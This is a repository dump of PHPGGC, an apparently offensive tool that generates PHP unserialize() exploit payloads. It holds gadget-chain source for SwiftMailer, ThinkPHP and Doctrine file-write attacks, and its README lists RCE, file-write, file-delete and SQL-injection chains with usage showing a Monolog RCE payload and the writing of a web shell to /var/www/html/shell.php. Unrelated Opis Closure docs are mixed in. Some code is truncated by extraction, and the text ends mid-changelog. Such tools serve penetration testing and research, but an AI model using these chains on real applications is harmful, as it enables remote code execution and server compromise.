39 | 40 | class Swift_Mime_SimpleMimeEntity 41 | { 42 | private $headers; 43 | private $body; 44 | private $encoder; 45 | private $cache; 46 | private $cacheKey = 'something'; 47 | 48 | function __construct($cache, $body) 49 | { 50 | $this->cache = $cache; 51 | $this->body = $body; 52 | $this->encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); 53 | $this->headers = new Swift_Mime_SimpleHeaderSet(); 54 | } 55 | } 56 | 57 | class Swift_Message extends Swift_Mime_SimpleMimeEntity 58 | { 59 | private $headerSigners = []; 60 | private $bodySigners = []; 61 | private $savedMessage = []; 62 | 63 | function __construct($headerSigner, $cache, $body) 64 | { 65 | parent::__construct($cache, $body); 66 | $this->headerSigners = [$headerSigner]; 67 | } 68 | } 69 | 70 | class Swift_Signers_DomainKeySigner 71 | { 72 | protected $privateKey = <<bound = [$bound]; 94 | } 95 | } 96 | 97 | class Swift_KeyCache_ArrayKeyCache 98 | { 99 | private $contents = []; 100 | private $stream; 101 | 102 | function __construct($stream) 103 | { 104 | $this->stream = $stream; 105 | } 106 | } 107 | 108 | class Swift_KeyCache_SimpleKeyCacheInputStream 109 | { 110 | private $keyCache; 111 | private $nsKey = 'something'; 112 | private $itemKey = 'something'; 113 | private $writeThrough = null; 114 | 115 | function __construct($writeThrough) 116 | { 117 | $this->keyCache = new Swift_KeyCache_ArrayKeyCache(null); 118 | $this->writeThrough = $writeThrough; 119 | } 120 | } 121 | 122 | abstract class Swift_ByteStream_AbstractFilterableInputStream 123 | { 124 | } 125 | 126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream 127 | { 128 | private $path; 129 | private $mode = 'w+b'; 130 | 131 | function __construct($path) 132 | { 133 | $this->path = $path; 134 | } 135 | } -------------------------------------------------------------------------------- /gadgetchains/SwiftMailer/FW/1/gadgets.php: -------------------------------------------------------------------------------- 1 | _encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 20 | $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 21 | $this->_grammar = new Swift_Mime_Grammar(); 22 | } 23 | } 24 | 25 | class Swift_Mime_SimpleHeaderSet 26 | { 27 | private $_factory; 28 | 29 | function __construct() 30 | { 31 | $this->_factory = new Swift_Mime_SimpleHeaderFactory(); 32 | } 33 | } 34 | 35 | class Swift_Mime_ContentEncoder_RawContentEncoder 36 | { 37 | 38 | } 39 | 40 | class Swift_Mime_SimpleMimeEntity 41 | { 42 | private $_headers; 43 | private $_body; 44 | private $_encoder; 45 | private $_cache; 46 | private $_cacheKey = 'something'; 47 | 48 | function __construct($cache, $body) 49 | { 50 | $this->_cache = $cache; 51 | $this->_body = $body; 52 | $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); 53 | $this->_headers = new Swift_Mime_SimpleHeaderSet(); 54 | } 55 | } 56 | 57 | class Swift_Message extends Swift_Mime_SimpleMimeEntity 58 | { 59 | private $headerSigners = []; 60 | private $bodySigners = []; 61 | private $savedMessage = []; 62 | 63 | function __construct($headerSigner, $cache, $body) 64 | { 65 | parent::__construct($cache, $body); 66 | $this->headerSigners = [$headerSigner]; 67 | } 68 | } 69 | 70 | class Swift_Signers_DomainKeySigner 71 | { 72 | protected $_privateKey = <<_bound = [$_bound]; 94 | } 95 | } 96 | 97 | class Swift_KeyCache_ArrayKeyCache 98 | { 99 | private $_contents = []; 100 | private $_stream; 101 | 102 | function __construct($_stream) 103 | { 104 | $this->_stream = $_stream; 105 | } 106 | } 107 | 108 | class Swift_KeyCache_SimpleKeyCacheInputStream 109 | { 110 | private $_keyCache; 111 | private $_nsKey = 'something'; 112 | private $_itemKey = 'something'; 113 | private $_writeThrough = null; 114 | 115 | function __construct($_writeThrough) 116 | { 117 | $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null); 118 | $this->_writeThrough = $_writeThrough; 119 | } 120 | } 121 | 122 | abstract class Swift_ByteStream_AbstractFilterableInputStream 123 | { 124 | } 125 | 126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream 127 | { 128 | private $_path; 129 | private $_mode = 'w+b'; 130 | 131 | function __construct($_path) 132 | { 133 | $this->_path = $_path; 134 | } 135 | } -------------------------------------------------------------------------------- /gadgetchains/SwiftMailer/FW/3/gadgets.php: -------------------------------------------------------------------------------- 1 | _encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 20 | $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 21 | $this->_grammar = new Swift_Mime_Grammar(); 22 | } 23 | } 24 | 25 | class Swift_Mime_SimpleHeaderSet 26 | { 27 | private $_factory; 28 | 29 | function __construct() 30 | { 31 | $this->_factory = new Swift_Mime_SimpleHeaderFactory(); 32 | } 33 | } 34 | 35 | class Swift_Mime_ContentEncoder_RawContentEncoder 36 | { 37 | 38 | } 39 | 40 | class Swift_Mime_SimpleMimeEntity 41 | { 42 | private $_headers; 43 | private $_body; 44 | private $_encoder; 45 | private $_cache; 46 | private $_cacheKey = 'something'; 47 | 48 | function __construct($cache, $body) 49 | { 50 | $this->_cache = $cache; 51 | $this->_body = $body; 52 | $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); 53 | $this->_headers = new Swift_Mime_SimpleHeaderSet(); 54 | } 55 | } 56 | 57 | class Swift_SignedMessage extends Swift_Mime_SimpleMimeEntity 58 | { 59 | private $headerSigners = []; 60 | private $bodySigners = []; 61 | private $savedMessage = []; 62 | 63 | function __construct($headerSigner, $cache, $body) 64 | { 65 | parent::__construct($cache, $body); 66 | $this->headerSigners = [$headerSigner]; 67 | } 68 | } 69 | 70 | class Swift_Signers_DomainKeySigner 71 | { 72 | protected $_privateKey = <<_bound = [$_bound]; 94 | } 95 | } 96 | 97 | class Swift_KeyCache_ArrayKeyCache 98 | { 99 | private $_contents = []; 100 | private $_stream; 101 | 102 | function __construct($_stream) 103 | { 104 | $this->_stream = $_stream; 105 | } 106 | } 107 | 108 | class Swift_KeyCache_SimpleKeyCacheInputStream 109 | { 110 | private $_keyCache; 111 | private $_nsKey = 'something'; 112 | private $_itemKey = 'something'; 113 | private $_writeThrough = null; 114 | 115 | function __construct($_writeThrough) 116 | { 117 | $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null); 118 | $this->_writeThrough = $_writeThrough; 119 | } 120 | } 121 | 122 | abstract class Swift_ByteStream_AbstractFilterableInputStream 123 | { 124 | } 125 | 126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream 127 | { 128 | private $_path; 129 | private $_mode = 'w+b'; 130 | 131 | function __construct($_path) 132 | { 133 | $this->_path = $_path; 134 | } 135 | } -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/FW/1/gadgets.php: -------------------------------------------------------------------------------- 1 | files = array($files); 16 | } 17 | } 18 | } 19 | 20 | namespace think\model\relation{ 21 | use think\model\Relation; 22 | 23 | abstract class OneToOne extends Relation { 24 | protected $bindAttr = []; 25 | function __construct($bindAttr, $selfRelation, $query) 26 | { 27 | $this->bindAttr = $bindAttr; 28 | parent::__construct($selfRelation, $query); 29 | } 30 | } 31 | 32 | class HasOne extends OneToOne { 33 | function __construct($bindAttr, $query) 34 | { 35 | parent::__construct($bindAttr, false, $query); 36 | } 37 | } 38 | } 39 | 40 | namespace think\db { 41 | class Query { 42 | protected $model; 43 | 44 | function __construct($model) 45 | { 46 | $this->model = $model; 47 | } 48 | } 49 | } 50 | 51 | namespace think { 52 | abstract class Model{ 53 | protected $append = []; 54 | protected $data = []; 55 | protected $error = null; 56 | protected $parent; 57 | 58 | function __construct($output, $modelRelation) 59 | { 60 | $this->parent = $output; 61 | $this->data = array("wh1t3p1g"=>""); 62 | $this->append = array("wh1t3p1g"=>"getError"); 63 | $this->error = $modelRelation; 64 | } 65 | } 66 | } 67 | 68 | namespace think\model { 69 | 70 | class Relation{ 71 | protected $selfRelation; 72 | protected $query; 73 | 74 | function __construct($selfRelation, $query){ 75 | $this->query = $query; 76 | $this->selfRelation = $selfRelation; 77 | } 78 | } 79 | 80 | class Pivot extends \think\Model{ 81 | function __construct($output, $modelRelation) 82 | { 83 | parent::__construct($output, $modelRelation); 84 | } 85 | } 86 | } 87 | 88 | namespace think\console { 89 | class Output { 90 | protected $styles = []; 91 | private $handle = null; 92 | function __construct($handle){ 93 | $this->styles = array("getAttr"); 94 | $this->handle = $handle; 95 | } 96 | } 97 | } 98 | 99 | namespace think\session\driver { 100 | class SessionHandler {} 101 | 102 | class Memcache extends SessionHandler { 103 | 104 | protected $handler = null; 105 | protected $config = []; 106 | 107 | function __construct($handle, $filename){ 108 | $this->handler = $handle; 109 | $this->config = array("session_name"=>$filename,"expire"=>"test"); 110 | } 111 | } 112 | } 113 | 114 | namespace think\cache { 115 | abstract class Driver{ 116 | protected $tag; 117 | } 118 | } 119 | 120 | 121 | namespace think\cache\driver { 122 | use think\cache\Driver; 123 | 124 | class File extends Driver { 125 | protected $options = []; 126 | 127 | function __construct($remote_path,$content){ 128 | $this->options = array("path"=>"php://filter/write=string.rot13/resource=".$remote_path.$content,"cache_subdir"=>null,"prefix"=>null,"data_compress"=>null); 129 | $this->tag = true; 130 | } 131 | } 132 | 133 | class Lite extends Driver{ 134 | protected $options = []; 135 | 136 | function __construct($remote_path, $content) 137 | { 138 | $this->options = array( 139 | "path"=>"php://filter/write=string.rot13/resource=".$remote_path.$content, 140 | "prefix"=>null, 141 | ); 142 | $this->tag = true; 143 | } 144 | } 145 | } -------------------------------------------------------------------------------- /lib/opis/closure/README.md: -------------------------------------------------------------------------------- 1 | Opis Closure 2 | ==================== 3 | [![Build Status](https://travis-ci.org/opis/closure.png)](https://travis-ci.org/opis/closure) 4 | [![Latest Stable Version](https://poser.pugx.org/opis/closure/v/stable.png)](https://packagist.org/packages/opis/closure) 5 | [![Latest Unstable Version](https://poser.pugx.org/opis/closure/v/unstable.png)](https://packagist.org/packages/opis/closure) 6 | [![License](https://poser.pugx.org/opis/closure/license.png)](https://packagist.org/packages/opis/closure) 7 | 8 | Serializable closures 9 | --------------------- 10 | **Opis Closure** is a library that aims to overcome PHP's limitations regarding closure 11 | serialization by providing a wrapper that will make all closures serializable. 12 | 13 | **The library's key features:** 14 | 15 | - Serialize any closure 16 | - Serialize arbitrary objects 17 | - Doesn't use `eval` for closure serialization or unserialization 18 | - Works with any PHP version that has support for closures 19 | - Supports PHP 7 syntax 20 | - Handles all variables referenced/imported in `use()` and automatically wraps all referenced/imported closures for 21 | proper serialization 22 | - Handles recursive closures 23 | - Handles magic constants like `__FILE__`, `__DIR__`, `__LINE__`, `__NAMESPACE__`, `__CLASS__`, 24 | `__TRAIT__`, `__METHOD__` and `__FUNCTION__`. 25 | - Automatically resolves all class names, function names and constant names used inside the closure 26 | - Track closure's residing source by using the `#trackme` directive 27 | - Simple and very fast parser 28 | - Any error or exception, that might occur when executing an unserialized closure, can be caught and treated properly 29 | - You can serialize/unserialize any closure unlimited times, even those previously unserialized 30 | (this is possible because `eval()` is not used for unserialization) 31 | - Handles static closures 32 | - Supports cryptographically signed closures 33 | - Provides a reflector that can give you information about the serialized closure 34 | - Provides an analyzer for *SuperClosure* library 35 | - Automatically detects when the scope and/or the bound object of a closure needs to be serialized 36 | in order for the closure to work after deserialization 37 | 38 | ### Documentation 39 | 40 | The full documentation for this library can be found [here][documentation]. 41 | 42 | ### License 43 | 44 | **Opis Closure** is licensed under the [MIT License (MIT)][license]. 45 | 46 | ### Requirements 47 | 48 | * PHP ^5.4 || ^7.0 49 | 50 | ## Installation 51 | 52 | **Opis Closure** is available on [Packagist] and it can be installed from a 53 | command line interface by using [Composer]. 54 | 55 | ```bash 56 | composer require opis/closure 57 | ``` 58 | 59 | Or you could directly reference it into your `composer.json` file as a dependency 60 | 61 | ```json 62 | { 63 | "require": { 64 | "opis/closure": "^3.3" 65 | } 66 | } 67 | ``` 68 | 69 | ### Migrating from 2.x 70 | 71 | If your project needs to support PHP 5.3 you can continue using the `2.x` version 72 | of **Opis Closure**. Otherwise, assuming you are not using one of the removed/refactored classes or features(see 73 | [CHANGELOG]), migrating to version `3.x` is simply a matter of updating your `composer.json` file. 74 | 75 | ### Semantic versioning 76 | 77 | **Opis Closure** follows [semantic versioning][SemVer] specifications. 78 | 79 | ### Arbitrary object serialization 80 | 81 | This feature was primarily introduced in order to support serializing an object bound 82 | to a closure and available via `$this`. The implementation is far from being perfect 83 | and it's really hard to make it work flawless. I will try to improve this, but I can 84 | not guarantee anything. So my advice regarding the `Opis\Closure\serialize|unserialize` 85 | functions is to use them with caution. 86 | 87 | ### SuperClosure support 88 | 89 | **Opis Closure** is shipped with an analyzer(`Opis\Closure\Analyzer`) which 90 | aims to provide *Opis Closure*'s parsing precision and speed to [SuperClosure]. 91 | 92 | [documentation]: https://www.opis.io/closure "Opis Closure" 93 | [license]: http://opensource.org/licenses/MIT "MIT License" 94 | [Packagist]: https://packagist.org/packages/opis/closure "Packagist" 95 | [Composer]: https://getcomposer.org "Composer" 96 | [SuperClosure]: https://github.com/jeremeamia/super_closure "SuperClosure" 97 | [SemVer]: http://semver.org/ "Semantic versioning" 98 | [CHANGELOG]: https://github.com/opis/closure/blob/master/CHANGELOG.md "Changelog" -------------------------------------------------------------------------------- /gadgetchains/Doctrine/FW/1/gadgets.php: -------------------------------------------------------------------------------- 1 | reader = $reader; 26 | } 27 | } 28 | } 29 | 30 | namespace Doctrine\Common\Annotations 31 | { 32 | final class CachedReader 33 | { 34 | private $loadedAnnotations; 35 | 36 | function __construct($loadedAnnotations) 37 | { 38 | $this->loadedAnnotations = $loadedAnnotations; 39 | } 40 | } 41 | } 42 | 43 | namespace Doctrine\ORM\Query 44 | { 45 | class ResultSetMapping 46 | { 47 | public $declaringClasses = array(); 48 | public $columnOwnerMap = array(); 49 | public $fieldMappings = array(); 50 | 51 | } 52 | 53 | # $class = $this->em->getClassMetadata($this->declaringClasses[$columnName]); 54 | # $sql .= $class->fieldMappings[$this->fieldMappings[$columnName]]['columnName']; 55 | class ResultSetMappingBuilder extends ResultSetMapping 56 | { 57 | private $em; 58 | 59 | function __construct($em) 60 | { 61 | $columnName = 'X'; 62 | $this->columnOwnerMap[$columnName] = null; 63 | $this->fieldMappings[$columnName] = 0; 64 | $this->declaringClasses[$columnName] = 'stdClass'; 65 | $this->em = $em; 66 | } 67 | } 68 | } 69 | 70 | namespace Doctrine\ORM 71 | { 72 | class EntityManager 73 | { 74 | private $config; 75 | private $metadataFactory; 76 | private $closed = false; 77 | 78 | function __construct($metadataFactory, $config) 79 | { 80 | $this->metadataFactory = $metadataFactory; 81 | $this->config = $config; 82 | } 83 | } 84 | 85 | class Configuration extends \Doctrine\DBAL\Configuration 86 | { 87 | 88 | } 89 | } 90 | 91 | namespace Doctrine\DBAL 92 | { 93 | class Configuration 94 | { 95 | protected $_attributes = array(); 96 | 97 | function __construct($_attributes) 98 | { 99 | $this->_attributes = $_attributes; 100 | } 101 | } 102 | } 103 | 104 | namespace Doctrine\Common\Persistence\Mapping 105 | { 106 | abstract class AbstractClassMetadataFactory 107 | { 108 | protected $cacheSalt = '$CLASSMETADATA'; 109 | private $cacheDriver; 110 | protected $initialized = true; 111 | 112 | function __construct($cacheDriver) 113 | { 114 | $this->cacheDriver = $cacheDriver; 115 | } 116 | } 117 | } 118 | 119 | namespace Doctrine\ORM\Mapping 120 | { 121 | use \Doctrine\Common\Persistence\Mapping\AbstractClassMetadataFactory; 122 | use \Doctrine\Common\EventManager; 123 | 124 | class ClassMetadataFactory extends AbstractClassMetadataFactory 125 | { 126 | private $em; 127 | private $driver; 128 | private $evm; 129 | 130 | function __construct($cacheDriver, $em, $driver) 131 | { 132 | parent::__construct($cacheDriver); 133 | $this->em = $em; 134 | $this->driver = $driver; 135 | $this->evm = new EventManager(); 136 | } 137 | } 138 | } 139 | 140 | namespace Doctrine\Common\Persistence\Mapping\Driver 141 | { 142 | class DefaultFileLocator 143 | { 144 | protected $paths = ['']; 145 | protected $fileExtension; 146 | } 147 | } 148 | 149 | namespace Doctrine\Common\Persistence\Mapping\Driver 150 | { 151 | abstract class FileDriver 152 | { 153 | protected $locator; 154 | protected $classCache; 155 | protected $globalBasename; 156 | } 157 | 158 | class PHPDriver extends FileDriver 159 | { 160 | protected $metadata; 161 | } 162 | } 163 | 164 | namespace Doctrine\Common\Cache 165 | { 166 | abstract class CacheProvider 167 | { 168 | private $namespace = ''; 169 | private $namespaceVersion; 170 | } 171 | 172 | abstract class FileCache extends CacheProvider 173 | { 174 | protected $directory; 175 | private $extension; 176 | private $umask = ~0777; 177 | private $directoryStringLength; 178 | private $extensionStringLength; 179 | private $isRunningOnWindows; 180 | 181 | function __construct($directory, $extension) 182 | { 183 | $this->directory = $directory; 184 | $this->directoryStringLength = strlen($directory); 185 | $this->extension = $extension; 186 | $this->extensionStringLength = strlen($extension); 187 | } 188 | } 189 | 190 | class FilesystemCache extends FileCache 191 | { 192 | } 193 | } 194 | 195 | 196 | namespace Doctrine\Common 197 | { 198 | class EventManager 199 | { 200 | private $_listeners = []; 201 | } 202 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PHPGGC: PHP Generic Gadget Chains 2 | 3 | *PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically*. 4 | When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of [frohoff's ysoserial](https://github.com/frohoff/ysoserial), but for PHP. 5 | Currently, the tool supports: Doctrine, Guzzle, Laravel, Magento, Monolog, Phalcon, Slim, SwiftMailer, Symfony, Yii and ZendFramework. 6 | 7 | ## Requirements 8 | 9 | PHP >= 5.6 is required to run PHPGGC. 10 | 11 | ## Update 12 | 13 | * ThinkPHP v5.0.x file write 14 | * ThinkPHP v5.2.x RCE 15 | * ThinkPHP v6.0.x RCE 16 | * ThinkPHP v5.x file delete 17 | 18 | ## Usage 19 | 20 | Run `./phpggc -l` to obtain a list of gadget chains: 21 | 22 | ``` 23 | $ ./phpggc -l 24 | 25 | Gadget Chains 26 | ------------- 27 | 28 | NAME VERSION TYPE VECTOR I 29 | Doctrine/FW1 ? file_write __toString * 30 | Guzzle/FW1 6.0.0 <= 6.3.2 file_write __destruct 31 | Guzzle/RCE1 6.0.0 <= 6.3.2 rce __destruct 32 | Laravel/RCE1 5.4.27 rce __destruct 33 | Laravel/RCE2 5.5.39 rce __destruct 34 | Laravel/RCE3 5.5.39 rce __destruct * 35 | Laravel/RCE4 5.5.39 rce __destruct 36 | Magento/SQLI1 ? <= 1.9.3.4 sql_injection __destruct 37 | Monolog/RCE1 1.18 <= 1.23 rce __destruct 38 | Monolog/RCE2 1.5 <= 1.17 rce __destruct 39 | Phalcon/RCE1 <= 1.2.2 rce __wakeup * 40 | Slim/RCE1 3.8.1 rce __toString 41 | SwiftMailer/FW1 5.1.0 <= 5.4.8 file_write __toString 42 | SwiftMailer/FW2 6.0.0 <= 6.0.1 file_write __toString 43 | SwiftMailer/FW3 5.0.1 file_write __toString 44 | Symfony/FW1 2.5.2 file_write DebugImport * 45 | Symfony/RCE1 3.3 rce __destruct * 46 | Symfony/RCE2 2.3.42 < 2.6 rce __destruct * 47 | Symfony/RCE3 2.6 <= 2.8.32 rce __destruct * 48 | ThinkPHP/FD1 5.x file_delete __destruct * 49 | Yii/RCE1 1.1.19 rce __wakeup * 50 | ZendFramework/RCE1 ? <= 1.12.20 rce __destruct * 51 | 52 | ``` 53 | 54 | Every gadget chain has: 55 | 56 | - Name: Name of the framework/library 57 | - Version: Version of the framework/library for which gadgets are for 58 | - Type: Type of exploitation: RCE, File Write, File Read, Include... 59 | - Vector: the vector to trigger the chain after the unserialize (`__destruct()`, `__toString()`, `offsetGet()`, ...) 60 | - Informations: Other informations about the chain 61 | 62 | Use `-i` to get detailed information about a chain: 63 | 64 | ``` 65 | $ ./phpggc -i symfony/rce1 66 | Name : Symfony/RCE1 67 | Version : 3.3 68 | Type : rce 69 | Vector : __destruct 70 | Informations : 71 | Exec through proc_open() 72 | 73 | ./phpggc Symfony/RCE1 74 | ``` 75 | 76 | Once you have selected a chain, run `./phpggc [parameters]` to obtain the payload. 77 | For instance, to obtain a payload for Monolog, you'd do: 78 | 79 | ``` 80 | $ ./phpggc monolog/rce1 'phpinfo();' 81 | O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}} 82 | ``` 83 | 84 | For a file write using SwiftMailer, you'd do: 85 | 86 | ``` 87 | $ echo 'It works !' > /tmp/data 88 | $ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data 89 | O:13:"Swift_Message":8:{...} 90 | ``` 91 | 92 | Arguments allow to modify the way the payload is output. For instance, `-u` will URL encode it, and `-b` will convert it to base64. 93 | Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use `-s` for a soft URL encode, which keeps the payload readable. 94 | 95 | The `-w` option allows you to define a PHP file containing a `wrapper($chain)` function. 96 | This will be called after the chain is built, but before the `serialize()`, in order to adjust the payload's shape. 97 | For instance, if the vulnerable code looks like this: 98 | 99 | ``` 100 | $data = unserialize($_GET['data']); 101 | print $data['message']; 102 | ``` 103 | 104 | You could use a __toString() chain, wrapping it like so: 105 | 106 | ``` 107 | # /tmp/my_wrapper.php 108 | 109 | function wrapper($chain) 110 | { 111 | return array( 112 | 'message' => $chain 113 | ); 114 | } 115 | ``` 116 | 117 | And you'd call phpggc like so: 118 | 119 | ``` 120 | $ ./phpggc -w /tmp/my_wrapper.php slim/rce1 'phpinfo();' 121 | a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}} 122 | ``` 123 | 124 | ## Contributing 125 | 126 | Pull requests are more than welcome. Please follow these simple guidelines: 127 | 128 | - Error-free payloads are prefered, as some websites exit abruptly even with E_NOTICE errors 129 | - `__destruct()` is always the best vector 130 | - Specify at least the version of the library you've built the payload on 131 | - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems. 132 | - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger. 133 | 134 | Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_. 135 | You can define pre- and post- processing methods, if parameters need to be modified. 136 | Hopefully, the already implemented gadgets should be enough for you to build yours. 137 | Otherwise, I'd be glad to answer your questions. 138 | -------------------------------------------------------------------------------- /lib/opis/closure/CHANGELOG.md: -------------------------------------------------------------------------------- 1 | CHANGELOG 2 | --------- 3 | 4 | ### v3.4.0, 2019.09.03 5 | 6 | - Added `createClosure` static method in `Opis\Closure\SerializableClosure`. 7 | This method creates a new closure from arbitrary code, emulating `create_function`, 8 | but without using eval 9 | 10 | ### v3.3.1, 2019.07.10 11 | 12 | - Use `sha1` instead of `md5` for hashing file names in `Opis\Closure\ReflectionClosure` class 13 | 14 | ### v3.3.0, 2019.05.31 15 | 16 | - Fixed a bug that prevented signed closures to properly work when the serialized string 17 | contains invalid UTF-8 chars. Starting with this version `json_encode` is no longer used 18 | when signing a closure. Backward compatibility is maintained and all closures that were 19 | previously signed using the old method will continue to work. 20 | 21 | ### v3.2.0, 2019.05.05 22 | 23 | - Since an unsigned closure can be unserialized when no security provider is set, 24 | there is no reason to treat differently a signed closure in the same situation. 25 | Therefore, the `Opis\Closure\SecurityException` exception is no longer thrown when 26 | unserializing a signed closure, if no security provider is set. 27 | 28 | ### v3.1.6, 2019.02.22 29 | 30 | - Fixed a bug that occurred when trying to set properties of classes that were not defined in user-land. 31 | Those properties are now ignored. 32 | 33 | ### v3.1.5, 2019.01.14 34 | 35 | - Improved parser 36 | 37 | ### v3.1.4, 2019.01.14 38 | 39 | - Added support for static methods that are named using PHP keywords or magic constants. 40 | Ex: `A::new()`, `A::use()`, `A::if()`, `A::function()`, `A::__DIR__()`, etc. 41 | - Used `@internal` to mark classes & methods that are for internal use only and 42 | backward compatibility is not guaranteed. 43 | 44 | ### v3.1.3, 2019.01.07 45 | 46 | - Fixed a bug that prevented traits to be correctly resolved when used by an 47 | anonymous class 48 | - Fixed a bug that occurred when `$this` keyword was used inside an anonymous class 49 | 50 | ### v3.1.2, 2018.12.16 51 | 52 | * Fixed a bug regarding comma trail in group-use statements. See [issue 23](https://github.com/opis/closure/issues/23) 53 | 54 | ### v3.1.1, 2018.10.02 55 | 56 | * Fixed a bug where `parent` keyword was treated like a class-name and scope was not added to the 57 | serialized closure 58 | * Fixed a bug where return type was not properly handled for nested closures 59 | * Support for anonymous classes was improved 60 | 61 | ### v3.1.0, 2018.09.20 62 | 63 | * Added `transformUseVariables` and `resolveUseVariables` to 64 | `Opis\Closure\SerializableClosure` class. 65 | * Added `removeSecurityProvider` static method to 66 | `Opis\Closure\SerializableClosure` class. 67 | * Fixed some security related issues where a user was able to unserialize an unsigned 68 | closure, even when a security provider was in use. 69 | 70 | ### v3.0.12, 2018.02.23 71 | 72 | * Bugfix. See [issue 20](https://github.com/opis/closure/issues/20) 73 | 74 | ### v3.0.11, 2018.01.22 75 | 76 | * Bugfix. See [issue 18](https://github.com/opis/closure/issues/18) 77 | 78 | ### v3.0.10, 2018.01.04 79 | 80 | * Improved support for PHP 7.1 & 7.2 81 | 82 | ### v3.0.9, 2018.01.04 83 | 84 | * Fixed a bug where the return type was not properly resolved. 85 | See [issue 17](https://github.com/opis/closure/issues/17) 86 | * Added more tests 87 | 88 | ### v3.0.8, 2017.12.18 89 | 90 | * Fixed a bug. See [issue 16](https://github.com/opis/closure/issues/16) 91 | 92 | ### v3.0.7, 2017.10.31 93 | 94 | * Bugfix: static properties are ignored now, since they are not serializable 95 | 96 | ### v3.0.6, 2017.10.06 97 | 98 | * Fixed a bug introduced by accident in 3.0.5 99 | 100 | ### v3.0.5, 2017.09.18 101 | 102 | * Fixed a bug related to nested references 103 | 104 | ### v3.0.4, 2017.09.18 105 | 106 | * \[*internal*\] Refactored `SerializableClosure::mapPointers` method 107 | * \[*internal*\] Added a new optional argument to `SerializableClosure::unwrapClosures` 108 | * \[*internal*\] Removed `SerializableClosure::getClosurePointer` method 109 | * Fixed various bugs 110 | 111 | ### v3.0.3, 2017.09.06 112 | 113 | * Fixed a bug related to nested object references 114 | * \[*internal*\] `Opis\Closure\ClosureScope` now extends `SplObjectStorage` 115 | * \[*internal*\] The `storage` property was removed from `Opis\Closure\ClosureScope` 116 | * \[*internal*\] The `instances` and `objects` properties were removed from `Opis\Closure\ClosureContext` 117 | 118 | ### v3.0.2, 2017.08.28 119 | 120 | * Fixed a bug where `$this` object was not handled properly inside the 121 | `SerializableClosre::serialize` method. 122 | 123 | ### v3.0.1, 2017.04.13 124 | 125 | * Fixed a bug in 'ignore_next' state 126 | 127 | ### v3.0.0, 2017.04.07 128 | 129 | * Dropped PHP 5.3 support 130 | * Moved source files from `lib` to `src` folder 131 | * Removed second parameter from `Opis\Closure\SerializableClosure::from` method and from constructor 132 | * Removed `Opis\Closure\{SecurityProviderInterface, DefaultSecurityProvider, SecureClosure}` classes 133 | * Refactored how signed closures were handled 134 | * Added `wrapClosures` and `unwrapClosures` static methods to `Opis\Closure\SerializableClosure` class 135 | * Added `Opis\Colosure\serialize` and `Opis\Closure\unserialize` functions 136 | * Improved serialization. You can now serialize arbitrary objects and the library will automatically wrap all closures 137 | 138 | ### v2.4.0, 2016.12.16 139 | 140 | * The parser was refactored and improved 141 | * Refactored `Opis\Closure\SerializableClosure::__invoke` method 142 | * `Opis\Closure\{ISecurityProvider, SecurityProvider}` were added 143 | * `Opis\Closure\{SecurityProviderInterface, DefaultSecurityProvider, SecureClosure}` were deprecated 144 | and they will be removed in the next major version 145 | * `setSecretKey` and `addSecurityProvider` static methods were added to `Opis\Closure\SerializableClosure` 146 | 147 | ### v2.3.2, 2016.12.15 148 | 149 | * Fixed a bug that prevented namespace resolution to be done properly 150 | 151 | ### v2.3.1, 2016.12.13 152 | 153 | * Hotfix. See [PR](https://github.com/opis/closure/pull/7) 154 | 155 | ### v2.3.0, 2016.11.17 156 | 157 | * Added `isBindingRequired` and `isScopeRequired` to the `Opis\Closure\ReflectionClosure` class 158 | * Automatically detects when the scope and/or the bound object of a closure needs to be serialized. 159 | 160 | ### v2.2.1, 2016.08.20 161 | 162 | * Fixed a bug in `Opis\Closure\ReflectionClosure::fetchItems` 163 | 164 | ### v2.2.0, 2016.07.26 165 | 166 | * Fixed CS 167 | * `Opis\Closure\ClosureContext`, `Opis\Closure\ClosureScope`, `Opis\Closure\SelfReference` 168 | and `Opis\Closure\SecurityException` classes were moved into separate files 169 | * Added support for PHP7 syntax 170 | * Fixed some bugs in `Opis\Closure\ReflectionClosure` class 171 | * Improved closure parser 172 | * Added an analyzer for SuperClosure library 173 | 174 | ### v2.1.0, 2015.09.30 175 | 176 | * Added support for the missing `__METHOD__`, `__FUNCTION__` and `__TRAIT__` magic constants 177 | * Added some security related classes and interfaces: `Opis\Closure\SecurityProviderInterface`, 178 | `Opis\Closure\DefaultSecurityProvider`, `Opis\Closure\SecureClosure`, `Opis\Closure\SecurityException`. 179 | * Fiexed a bug in `Opis\Closure\ReflectionClosure::getClasses` method 180 | * Other minor bugfixes 181 | * Added support for static closures 182 | * Added public `isStatic` method to `Opis\Closure\ReflectionClosure` class 183 | 184 | 185 | ### v2.0.1, 2015.09.23 186 | 187 | * 